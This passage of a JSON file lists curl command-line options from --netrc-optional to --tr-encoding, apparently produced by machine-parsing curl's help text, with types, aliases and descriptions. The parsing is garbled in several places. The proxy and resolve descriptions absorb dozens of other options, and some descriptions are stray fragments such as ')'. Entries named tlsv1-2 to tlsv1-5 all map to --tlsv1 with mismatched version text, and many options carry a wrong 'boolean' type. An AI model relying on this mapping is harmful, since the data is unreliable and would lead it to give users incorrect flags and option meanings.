        "flag": "--netrc-optional"
      },
      {
        "name": "next",
        "template_key": "next",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Make next URL use separate options",
        "aliases": [
          "--next"
        ],
        "flag": "--next"
      },
      {
        "name": "no-alpn",
        "template_key": "no-alpn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the ALPN TLS extension",
        "aliases": [
          "--no-alpn"
        ],
        "flag": "--no-alpn"
      },
      {
        "name": "no-buffer",
        "template_key": "no-buffer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable buffering of the output stream",
        "aliases": [
          "-N",
          "--no-buffer"
        ],
        "flag": "-N"
      },
      {
        "name": "no-clobber",
        "template_key": "no-clobber",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not overwrite files that already exist",
        "aliases": [
          "--no-clobber"
        ],
        "flag": "--no-clobber"
      },
      {
        "name": "no-keepalive",
        "template_key": "no-keepalive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable TCP keepalive on the connection",
        "aliases": [
          "--no-keepalive"
        ],
        "flag": "--no-keepalive"
      },
      {
        "name": "no-npn",
        "template_key": "no-npn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the NPN TLS extension",
        "aliases": [
          "--no-npn"
        ],
        "flag": "--no-npn"
      },
      {
        "name": "no-progress-meter",
        "template_key": "no-progress-meter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not show the progress meter",
        "aliases": [
          "--no-progress-meter"
        ],
        "flag": "--no-progress-meter"
      },
      {
        "name": "no-sessionid",
        "template_key": "no-sessionid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable SSL session-ID reusing",
        "aliases": [
          "--no-sessionid"
        ],
        "flag": "--no-sessionid"
      },
      {
        "name": "noproxy",
        "template_key": "noproxy",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "List of hosts which do not use proxy",
        "aliases": [
          "--noproxy <no-proxy-list>"
        ],
        "flag": "--noproxy"
      },
      {
        "name": "ntlm",
        "template_key": "ntlm",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP NTLM authentication",
        "aliases": [
          "--ntlm"
        ],
        "flag": "--ntlm"
      },
      {
        "name": "ntlm-wb",
        "template_key": "ntlm-wb",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP NTLM authentication with winbind",
        "aliases": [
          "--ntlm-wb"
        ],
        "flag": "--ntlm-wb"
      },
      {
        "name": "oauth2-bearer",
        "template_key": "oauth2-bearer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "OAuth 2 Bearer Token",
        "aliases": [
          "--oauth2-bearer <token>"
        ],
        "flag": "--oauth2-bearer"
      },
      {
        "name": "out-null",
        "template_key": "out-null",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Discard response data into the void",
        "aliases": [
          "--out-null"
        ],
        "flag": "--out-null"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write to file instead of stdout",
        "aliases": [
          "-o",
          "--output <file>"
        ],
        "flag": "-o"
      },
      {
        "name": "output-dir",
        "template_key": "output-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Directory to save files in",
        "aliases": [
          "--output-dir <dir>"
        ],
        "flag": "--output-dir"
      },
      {
        "name": "parallel",
        "template_key": "parallel",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Perform transfers in parallel",
        "aliases": [
          "-Z",
          "--parallel"
        ],
        "flag": "-Z"
      },
      {
        "name": "parallel-immediate",
        "template_key": "parallel-immediate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not wait for multiplexing",
        "aliases": [
          "--parallel-immediate"
        ],
        "flag": "--parallel-immediate"
      },
      {
        "name": "parallel-max",
        "template_key": "parallel-max",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum concurrency for parallel transfers",
        "aliases": [
          "--parallel-max <num>"
        ],
        "flag": "--parallel-max"
      },
      {
        "name": "parallel-max-host",
        "template_key": "parallel-max-host",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum connections to a single host",
        "aliases": [
          "--parallel-max-host <num>"
        ],
        "flag": "--parallel-max-host"
      },
      {
        "name": "pass",
        "template_key": "pass",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Passphrase for the private key",
        "aliases": [
          "--pass <phrase>"
        ],
        "flag": "--pass"
      },
      {
        "name": "path-as-is",
        "template_key": "path-as-is",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Do not squash .. sequences in URL path",
        "aliases": [
          "--path-as-is"
        ],
        "flag": "--path-as-is"
      },
      {
        "name": "pinnedpubkey",
        "template_key": "pinnedpubkey",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Public key to verify peer against",
        "aliases": [
          "--pinnedpubkey <hashes>"
        ],
        "flag": "--pinnedpubkey"
      },
      {
        "name": "post301",
        "template_key": "post301",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not switch to GET after a 301 redirect",
        "aliases": [
          "--post301"
        ],
        "flag": "--post301"
      },
      {
        "name": "post302",
        "template_key": "post302",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not switch to GET after a 302 redirect",
        "aliases": [
          "--post302"
        ],
        "flag": "--post302"
      },
      {
        "name": "post303",
        "template_key": "post303",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not switch to GET after a 303 redirect",
        "aliases": [
          "--post303"
        ],
        "flag": "--post303"
      },
      {
        "name": "preproxy",
        "template_key": "preproxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--preproxy <[protocol://]host[:port]>"
        ],
        "flag": "--preproxy"
      },
      {
        "name": "progress-bar",
        "template_key": "progress-bar",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display transfer progress as a bar",
        "aliases": [
          "--progress-bar"
        ],
        "flag": "--progress-bar"
      },
      {
        "name": "proto",
        "template_key": "proto",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable/disable PROTOCOLS",
        "aliases": [
          "--proto <protocols>"
        ],
        "flag": "--proto"
      },
      {
        "name": "proto-default",
        "template_key": "proto-default",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use PROTOCOL for any URL missing a scheme",
        "aliases": [
          "--proto-default <protocol>"
        ],
        "flag": "--proto-default"
      },
      {
        "name": "proto-redir",
        "template_key": "proto-redir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable/disable PROTOCOLS on redirect",
        "aliases": [
          "--proto-redir <protocols>"
        ],
        "flag": "--proto-redir"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "--proxy-anyauth Pick any proxy authentication method --proxy-basic Use Basic authentication on the proxy --proxy-ca-native Load CA certs from the OS to verify proxy --proxy-cacert <file> CA certificates to verify proxy against --proxy-capath <dir> CA directory to verify proxy against --proxy-cert <cert[:passwd]> Set client certificate for proxy --proxy-cert-type <type> Client certificate type for HTTPS proxy --proxy-ciphers <list> TLS 1.2 (1.1, 1.0) ciphers to use for proxy --proxy-crlfile <file> Set a CRL list for proxy --proxy-digest Digest auth with the proxy --proxy-header <header/@file> Pass custom header(s) to proxy --proxy-http2 Use HTTP/2 with HTTPS proxy --proxy-insecure Skip HTTPS proxy cert verification --proxy-key <key> Private key for HTTPS proxy --proxy-key-type <type> Private key file type for proxy --proxy-negotiate HTTP Negotiate (SPNEGO) auth with the proxy --proxy-ntlm NTLM authentication with the proxy --proxy-pass <phrase> Passphrase for private key for HTTPS proxy --proxy-pinnedpubkey <hashes> FILE/HASHES public key to verify proxy with --proxy-service-name <name> SPNEGO proxy service name --proxy-ssl-allow-beast Allow this security flaw for HTTPS proxy --proxy-ssl-auto-client-cert Auto client certificate for proxy --proxy-tls13-ciphers <list> TLS 1.3 proxy cipher suites --proxy-tlsauthtype <type> TLS authentication type for HTTPS proxy --proxy-tlspassword <string> TLS password for HTTPS proxy --proxy-tlsuser <name> TLS username for HTTPS proxy --proxy-tlsv1 TLSv1 for HTTPS proxy",
        "aliases": [
          "-x",
          "--proxy <[protocol://]host[:port]>"
        ],
        "flag": "-x"
      },
      {
        "name": "proxy-user",
        "template_key": "proxy-user",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "--proxy1.0 <host[:port]> Use HTTP/1.0 proxy on given port",
        "aliases": [
          "-U",
          "--proxy-user <user:password>"
        ],
        "flag": "-U"
      },
      {
        "name": "proxy1",
        "type": "boolean",
        "required": false,
        "description": ".0 <host[:port]>      Use HTTP/1.0 proxy on given port",
        "aliases": [
          "--proxy1"
        ],
        "flag": "--proxy1"
      },
      {
        "name": "proxy_anyauth",
        "type": "boolean",
        "required": false,
        "description": "Pick any proxy authentication method",
        "aliases": [
          "--proxy-anyauth"
        ],
        "flag": "--proxy-anyauth"
      },
      {
        "name": "proxy_basic",
        "type": "boolean",
        "required": false,
        "description": "Use Basic authentication on the proxy",
        "aliases": [
          "--proxy-basic"
        ],
        "flag": "--proxy-basic"
      },
      {
        "name": "proxy_ca_native",
        "type": "boolean",
        "required": false,
        "description": "Load CA certs from the OS to verify proxy",
        "aliases": [
          "--proxy-ca-native"
        ],
        "flag": "--proxy-ca-native"
      },
      {
        "name": "proxy_cacert",
        "type": "boolean",
        "required": false,
        "description": "CA certificates to verify proxy against",
        "aliases": [
          "--proxy-cacert"
        ],
        "flag": "--proxy-cacert"
      },
      {
        "name": "proxy_capath",
        "type": "boolean",
        "required": false,
        "description": "CA directory to verify proxy against",
        "aliases": [
          "--proxy-capath"
        ],
        "flag": "--proxy-capath"
      },
      {
        "name": "proxy_cert",
        "type": "boolean",
        "required": false,
        "description": "Set client certificate for proxy",
        "aliases": [
          "--proxy-cert"
        ],
        "flag": "--proxy-cert"
      },
      {
        "name": "proxy_cert_type",
        "type": "boolean",
        "required": false,
        "description": "Client certificate type for HTTPS proxy",
        "aliases": [
          "--proxy-cert-type"
        ],
        "flag": "--proxy-cert-type"
      },
      {
        "name": "proxy_ciphers",
        "type": "boolean",
        "required": false,
        "description": "TLS 1.2 (1.1, 1.0) ciphers to use for proxy",
        "aliases": [
          "--proxy-ciphers"
        ],
        "flag": "--proxy-ciphers"
      },
      {
        "name": "proxy_crlfile",
        "type": "boolean",
        "required": false,
        "description": "Set a CRL list for proxy",
        "aliases": [
          "--proxy-crlfile"
        ],
        "flag": "--proxy-crlfile"
      },
      {
        "name": "proxy_digest",
        "type": "boolean",
        "required": false,
        "description": "Digest auth with the proxy",
        "aliases": [
          "--proxy-digest"
        ],
        "flag": "--proxy-digest"
      },
      {
        "name": "proxy_header",
        "type": "boolean",
        "required": false,
        "description": "Pass custom header(s) to proxy",
        "aliases": [
          "--proxy-header"
        ],
        "flag": "--proxy-header"
      },
      {
        "name": "proxy_http2",
        "type": "boolean",
        "required": false,
        "description": "Use HTTP/2 with HTTPS proxy",
        "aliases": [
          "--proxy-http2"
        ],
        "flag": "--proxy-http2"
      },
      {
        "name": "proxy_insecure",
        "type": "boolean",
        "required": false,
        "description": "Skip HTTPS proxy cert verification",
        "aliases": [
          "--proxy-insecure"
        ],
        "flag": "--proxy-insecure"
      },
      {
        "name": "proxy_key",
        "type": "boolean",
        "required": false,
        "description": "Private key for HTTPS proxy",
        "aliases": [
          "--proxy-key"
        ],
        "flag": "--proxy-key"
      },
      {
        "name": "proxy_key_type",
        "type": "boolean",
        "required": false,
        "description": "Private key file type for proxy",
        "aliases": [
          "--proxy-key-type"
        ],
        "flag": "--proxy-key-type"
      },
      {
        "name": "proxy_negotiate",
        "type": "boolean",
        "required": false,
        "description": "HTTP Negotiate (SPNEGO) auth with the proxy",
        "aliases": [
          "--proxy-negotiate"
        ],
        "flag": "--proxy-negotiate"
      },
      {
        "name": "proxy_ntlm",
        "type": "boolean",
        "required": false,
        "description": "NTLM authentication with the proxy",
        "aliases": [
          "--proxy-ntlm"
        ],
        "flag": "--proxy-ntlm"
      },
      {
        "name": "proxy_pass",
        "type": "boolean",
        "required": false,
        "description": "Passphrase for private key for HTTPS proxy",
        "aliases": [
          "--proxy-pass"
        ],
        "flag": "--proxy-pass"
      },
      {
        "name": "proxy_pinnedpubkey",
        "type": "boolean",
        "required": false,
        "description": "FILE/HASHES public key to verify proxy with",
        "aliases": [
          "--proxy-pinnedpubkey"
        ],
        "flag": "--proxy-pinnedpubkey"
      },
      {
        "name": "proxy_service_name",
        "type": "boolean",
        "required": false,
        "description": "SPNEGO proxy service name",
        "aliases": [
          "--proxy-service-name"
        ],
        "flag": "--proxy-service-name"
      },
      {
        "name": "proxy_ssl_allow_beast",
        "type": "boolean",
        "required": false,
        "description": "Allow this security flaw for HTTPS proxy",
        "aliases": [
          "--proxy-ssl-allow-beast"
        ],
        "flag": "--proxy-ssl-allow-beast"
      },
      {
        "name": "proxy_ssl_auto_client_cert",
        "type": "boolean",
        "required": false,
        "description": "Auto client certificate for proxy",
        "aliases": [
          "--proxy-ssl-auto-client-cert"
        ],
        "flag": "--proxy-ssl-auto-client-cert"
      },
      {
        "name": "proxy_tls13_ciphers",
        "type": "boolean",
        "required": false,
        "description": "TLS 1.3 proxy cipher suites",
        "aliases": [
          "--proxy-tls13-ciphers"
        ],
        "flag": "--proxy-tls13-ciphers"
      },
      {
        "name": "proxy_tlsauthtype",
        "type": "boolean",
        "required": false,
        "description": "TLS authentication type for HTTPS proxy",
        "aliases": [
          "--proxy-tlsauthtype"
        ],
        "flag": "--proxy-tlsauthtype"
      },
      {
        "name": "proxy_tlspassword",
        "type": "boolean",
        "required": false,
        "description": "TLS password for HTTPS proxy",
        "aliases": [
          "--proxy-tlspassword"
        ],
        "flag": "--proxy-tlspassword"
      },
      {
        "name": "proxy_tlsuser",
        "type": "boolean",
        "required": false,
        "description": "TLS username for HTTPS proxy",
        "aliases": [
          "--proxy-tlsuser"
        ],
        "flag": "--proxy-tlsuser"
      },
      {
        "name": "proxy_tlsv1",
        "type": "boolean",
        "required": false,
        "description": "TLSv1 for HTTPS proxy",
        "aliases": [
          "--proxy-tlsv1"
        ],
        "flag": "--proxy-tlsv1"
      },
      {
        "name": "proxytunnel",
        "template_key": "proxytunnel",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy tunnel (using CONNECT)",
        "aliases": [
          "-p",
          "--proxytunnel"
        ],
        "flag": "-p"
      },
      {
        "name": "pubkey",
        "template_key": "pubkey",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "SSH Public key filename",
        "aliases": [
          "--pubkey <key>"
        ],
        "flag": "--pubkey"
      },
      {
        "name": "quote",
        "template_key": "quote",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send command(s) to server before transfer",
        "aliases": [
          "-Q",
          "--quote <command>"
        ],
        "flag": "-Q"
      },
      {
        "name": "random-file",
        "template_key": "random-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "File for reading random data from",
        "aliases": [
          "--random-file <file>"
        ],
        "flag": "--random-file"
      },
      {
        "name": "range",
        "template_key": "range",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Retrieve only the bytes within RANGE",
        "aliases": [
          "-r",
          "--range <range>"
        ],
        "flag": "-r"
      },
      {
        "name": "rate",
        "template_key": "rate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Request rate for serial transfers",
        "aliases": [
          "--rate <max request rate>"
        ],
        "flag": "--rate"
      },
      {
        "name": "raw",
        "template_key": "raw",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Do HTTP raw; no transfer decoding",
        "aliases": [
          "--raw"
        ],
        "flag": "--raw"
      },
      {
        "name": "referer",
        "template_key": "referer",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Referrer URL",
        "aliases": [
          "-e",
          "--referer <URL>"
        ],
        "flag": "-e"
      },
      {
        "name": "remote-header-name",
        "template_key": "remote-header-name",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Use the header-provided filename",
        "aliases": [
          "-J",
          "--remote-header-name"
        ],
        "flag": "-J"
      },
      {
        "name": "remote-name",
        "template_key": "remote-name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write output to file named as remote file",
        "aliases": [
          "-O",
          "--remote-name"
        ],
        "flag": "-O"
      },
      {
        "name": "remote-name-all",
        "template_key": "remote-name-all",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Use the remote filename for all URLs",
        "aliases": [
          "--remote-name-all"
        ],
        "flag": "--remote-name-all"
      },
      {
        "name": "remote-time",
        "template_key": "remote-time",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set remote file's time on local output",
        "aliases": [
          "-R",
          "--remote-time"
        ],
        "flag": "-R"
      },
      {
        "name": "remove-on-error",
        "template_key": "remove-on-error",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Remove output file on errors",
        "aliases": [
          "--remove-on-error"
        ],
        "flag": "--remove-on-error"
      },
      {
        "name": "request",
        "template_key": "request",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify request method to use",
        "aliases": [
          "-X",
          "--request <method>"
        ],
        "flag": "-X"
      },
      {
        "name": "request-target",
        "template_key": "request-target",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify the target for this request",
        "aliases": [
          "--request-target <path>"
        ],
        "flag": "--request-target"
      },
      {
        "name": "resolve",
        "template_key": "resolve",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "--retry <num> Retry request if transient problems occur --retry-all-errors Retry all errors (with --retry) --retry-connrefused Retry on connection refused (with --retry) --retry-delay <seconds> Wait time between retries --retry-max-time <seconds> Retry only within this period --sasl-authzid <identity> Identity for SASL PLAIN authentication --sasl-ir Initial response in SASL authentication --service-name <name> SPNEGO service name",
        "aliases": [
          "--resolve <[+]host:port:addr[,addr]...>"
        ],
        "flag": "--resolve"
      },
      {
        "name": "retry",
        "type": "boolean",
        "required": false,
        "description": "Retry request if transient problems occur",
        "aliases": [
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "retry_all_errors",
        "type": "boolean",
        "required": false,
        "description": ")",
        "aliases": [
          "--retry-all-errors",
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "retry_connrefused",
        "type": "boolean",
        "required": false,
        "description": ")",
        "aliases": [
          "--retry-connrefused",
          "--retry"
        ],
        "flag": "--retry"
      },
      {
        "name": "retry_delay",
        "type": "boolean",
        "required": false,
        "description": "Wait time between retries",
        "aliases": [
          "--retry-delay"
        ],
        "flag": "--retry-delay"
      },
      {
        "name": "retry_max_time",
        "type": "boolean",
        "required": false,
        "description": "Retry only within this period",
        "aliases": [
          "--retry-max-time"
        ],
        "flag": "--retry-max-time"
      },
      {
        "name": "sasl_authzid",
        "type": "boolean",
        "required": false,
        "description": "Identity for SASL PLAIN authentication",
        "aliases": [
          "--sasl-authzid"
        ],
        "flag": "--sasl-authzid"
      },
      {
        "name": "sasl_ir",
        "type": "boolean",
        "required": false,
        "description": "Initial response in SASL authentication",
        "aliases": [
          "--sasl-ir"
        ],
        "flag": "--sasl-ir"
      },
      {
        "name": "service_name",
        "type": "boolean",
        "required": false,
        "description": "SPNEGO service name",
        "aliases": [
          "--service-name"
        ],
        "flag": "--service-name"
      },
      {
        "name": "show-error",
        "template_key": "show-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show error even when -s is used",
        "aliases": [
          "-S",
          "--show-error"
        ],
        "flag": "-S"
      },
      {
        "name": "show-headers",
        "template_key": "show-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show response headers in output",
        "aliases": [
          "-i",
          "--show-headers"
        ],
        "flag": "-i"
      },
      {
        "name": "sigalgs",
        "template_key": "sigalgs",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "TLS signature algorithms to use",
        "aliases": [
          "--sigalgs <list>"
        ],
        "flag": "--sigalgs"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Silent mode",
        "aliases": [
          "-s",
          "--silent"
        ],
        "flag": "-s"
      },
      {
        "name": "skip-existing",
        "template_key": "skip-existing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Skip download if local file already exists",
        "aliases": [
          "--skip-existing"
        ],
        "flag": "--skip-existing"
      },
      {
        "name": "socks4",
        "template_key": "socks4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SOCKS4 proxy on given host + port",
        "aliases": [
          "--socks4 <host[:port]>"
        ],
        "flag": "--socks4"
      },
      {
        "name": "socks4a",
        "template_key": "socks4a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SOCKS4a proxy on given host + port",
        "aliases": [
          "--socks4a <host[:port]>"
        ],
        "flag": "--socks4a"
      },
      {
        "name": "socks5",
        "template_key": "socks5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SOCKS5 proxy on given host + port",
        "aliases": [
          "--socks5 <host[:port]>"
        ],
        "flag": "--socks5"
      },
      {
        "name": "socks5-basic",
        "template_key": "socks5-basic",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Username/password auth for SOCKS5 proxies",
        "aliases": [
          "--socks5-basic"
        ],
        "flag": "--socks5-basic"
      },
      {
        "name": "socks5-gssapi",
        "template_key": "socks5-gssapi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable GSS-API auth for SOCKS5 proxies",
        "aliases": [
          "--socks5-gssapi"
        ],
        "flag": "--socks5-gssapi"
      },
      {
        "name": "socks5-gssapi-nec",
        "template_key": "socks5-gssapi-nec",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Compatibility with NEC SOCKS5 server",
        "aliases": [
          "--socks5-gssapi-nec"
        ],
        "flag": "--socks5-gssapi-nec"
      },
      {
        "name": "socks5-gssapi-service",
        "template_key": "socks5-gssapi-service",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--socks5-hostname <host[:port]> SOCKS5 proxy, pass hostname to proxy",
        "aliases": [
          "-A",
          "--socks5-gssapi-service <name>"
        ],
        "flag": "-A"
      },
      {
        "name": "socks5_hostname",
        "type": "boolean",
        "required": false,
        "description": "SOCKS5 proxy, pass hostname to proxy",
        "aliases": [
          "--socks5-hostname"
        ],
        "flag": "--socks5-hostname"
      },
      {
        "name": "speed-limit",
        "template_key": "speed-limit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stop transfers slower than this",
        "aliases": [
          "-Y",
          "--speed-limit <speed>"
        ],
        "flag": "-Y"
      },
      {
        "name": "speed-time",
        "template_key": "speed-time",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Trigger 'speed-limit' abort after this time",
        "aliases": [
          "-y",
          "--speed-time <seconds>"
        ],
        "flag": "-y"
      },
      {
        "name": "ssl",
        "template_key": "ssl",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Try enabling TLS",
        "aliases": [
          "--ssl"
        ],
        "flag": "--ssl"
      },
      {
        "name": "ssl-allow-beast",
        "template_key": "ssl-allow-beast",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow security flaw to improve interop",
        "aliases": [
          "--ssl-allow-beast"
        ],
        "flag": "--ssl-allow-beast"
      },
      {
        "name": "ssl-auto-client-cert",
        "template_key": "ssl-auto-client-cert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use auto client certificate (Schannel)",
        "aliases": [
          "--ssl-auto-client-cert"
        ],
        "flag": "--ssl-auto-client-cert"
      },
      {
        "name": "ssl-no-revoke",
        "template_key": "ssl-no-revoke",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable cert revocation checks (Schannel)",
        "aliases": [
          "--ssl-no-revoke"
        ],
        "flag": "--ssl-no-revoke"
      },
      {
        "name": "ssl-reqd",
        "template_key": "ssl-reqd",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Require SSL/TLS",
        "aliases": [
          "--ssl-reqd"
        ],
        "flag": "--ssl-reqd"
      },
      {
        "name": "ssl-revoke-best-effort",
        "template_key": "ssl-revoke-best-effort",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore missing cert CRL dist points",
        "aliases": [
          "--ssl-revoke-best-effort"
        ],
        "flag": "--ssl-revoke-best-effort"
      },
      {
        "name": "ssl-sessions",
        "template_key": "ssl-sessions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--ssl-sessions <filename>"
        ],
        "flag": "--ssl-sessions"
      },
      {
        "name": "sslv2",
        "template_key": "sslv2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SSLv2",
        "aliases": [
          "-2",
          "--sslv2"
        ],
        "flag": "-2"
      },
      {
        "name": "sslv3",
        "template_key": "sslv3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SSLv3",
        "aliases": [
          "-3",
          "--sslv3"
        ],
        "flag": "-3"
      },
      {
        "name": "stderr",
        "template_key": "stderr",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Where to redirect stderr",
        "aliases": [
          "--stderr <file>"
        ],
        "flag": "--stderr"
      },
      {
        "name": "styled-output",
        "template_key": "styled-output",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Enable styled output for HTTP headers",
        "aliases": [
          "--styled-output"
        ],
        "flag": "--styled-output"
      },
      {
        "name": "suppress-connect-headers",
        "template_key": "suppress-connect-headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suppress proxy CONNECT response headers",
        "aliases": [
          "--suppress-connect-headers"
        ],
        "flag": "--suppress-connect-headers"
      },
      {
        "name": "tcp-fastopen",
        "template_key": "tcp-fastopen",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use TCP Fast Open",
        "aliases": [
          "--tcp-fastopen"
        ],
        "flag": "--tcp-fastopen"
      },
      {
        "name": "tcp-nodelay",
        "template_key": "tcp-nodelay",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set TCP_NODELAY",
        "aliases": [
          "--tcp-nodelay"
        ],
        "flag": "--tcp-nodelay"
      },
      {
        "name": "telnet-option",
        "template_key": "telnet-option",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set telnet option",
        "aliases": [
          "-t",
          "--telnet-option <opt"
        ],
        "flag": "-t"
      },
      {
        "name": "tftp-blksize",
        "template_key": "tftp-blksize",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set TFTP BLKSIZE option",
        "aliases": [
          "--tftp-blksize <value>"
        ],
        "flag": "--tftp-blksize"
      },
      {
        "name": "tftp-no-options",
        "template_key": "tftp-no-options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not send any TFTP options",
        "aliases": [
          "--tftp-no-options"
        ],
        "flag": "--tftp-no-options"
      },
      {
        "name": "time-cond",
        "template_key": "time-cond",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Transfer based on a time condition",
        "aliases": [
          "-z",
          "--time-cond <time>"
        ],
        "flag": "-z"
      },
      {
        "name": "tls-earlydata",
        "template_key": "tls-earlydata",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow use of TLSv1.3 early data (0RTT)",
        "aliases": [
          "--tls-earlydata"
        ],
        "flag": "--tls-earlydata"
      },
      {
        "name": "tls-max",
        "template_key": "tls-max",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Maximum allowed TLS version",
        "aliases": [
          "--tls-max <VERSION>"
        ],
        "flag": "--tls-max"
      },
      {
        "name": "tls13-ciphers",
        "template_key": "tls13-ciphers",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "TLS 1.3 cipher suites to use",
        "aliases": [
          "--tls13-ciphers <list>"
        ],
        "flag": "--tls13-ciphers"
      },
      {
        "name": "tlsauthtype",
        "template_key": "tlsauthtype",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLS authentication type",
        "aliases": [
          "--tlsauthtype <type>"
        ],
        "flag": "--tlsauthtype"
      },
      {
        "name": "tlspassword",
        "template_key": "tlspassword",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLS password",
        "aliases": [
          "--tlspassword <string>"
        ],
        "flag": "--tlspassword"
      },
      {
        "name": "tlsuser",
        "template_key": "tlsuser",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLS username",
        "aliases": [
          "--tlsuser <name>"
        ],
        "flag": "--tlsuser"
      },
      {
        "name": "tlsv1",
        "template_key": "tlsv1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.0 or greater",
        "aliases": [
          "-1",
          "--tlsv1"
        ],
        "flag": "-1"
      },
      {
        "name": "tlsv1-2",
        "template_key": "tlsv1-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.0 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tlsv1-3",
        "template_key": "tlsv1-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.1 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tlsv1-4",
        "template_key": "tlsv1-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.2 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tlsv1-5",
        "template_key": "tlsv1-5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TLSv1.3 or greater",
        "aliases": [
          "--tlsv1"
        ],
        "flag": "--tlsv1"
      },
      {
        "name": "tr-encoding",
        "template_key": "tr-encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Request compressed transfer encoding",
        "aliases": [
          "--tr-encoding"
        ],
        "flag": "--tr-encoding"
      },
      {
        "name": "trace",
